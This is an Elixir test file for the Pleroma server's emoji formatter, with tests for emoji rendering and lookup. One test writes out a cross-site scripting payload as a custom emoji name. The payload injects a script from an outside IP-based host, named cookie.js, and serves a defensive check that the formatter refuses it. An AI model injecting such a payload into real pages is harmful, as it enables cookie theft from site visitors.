1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
5 defmodule Pleroma.Emoji.FormatterTest do
7 alias Pleroma.Emoji.Formatter
11 test "it adds cool emoji" do
12 text = "I love :firefox:"
15 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
17 assert Formatter.emojify(text) == expected_result
20 test "it does not add XSS emoji" do
22 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
26 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
27 "https://placehold.it/1x1"
29 |> Pleroma.Emoji.build()
31 refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
35 describe "get_emoji" do
36 test "it returns the emoji used in the text" do
37 text = "I love :firefox:"
39 assert Formatter.get_emoji(text) == [
43 file: "/emoji/Firefox.gif",
46 safe_file: "/emoji/Firefox.gif"
51 test "it returns a nice empty result when no emojis are present" do
52 text = "I love moominamma"
53 assert Formatter.get_emoji(text) == []
56 test "it doesn't die when text is absent" do
58 assert Formatter.get_emoji(text) == []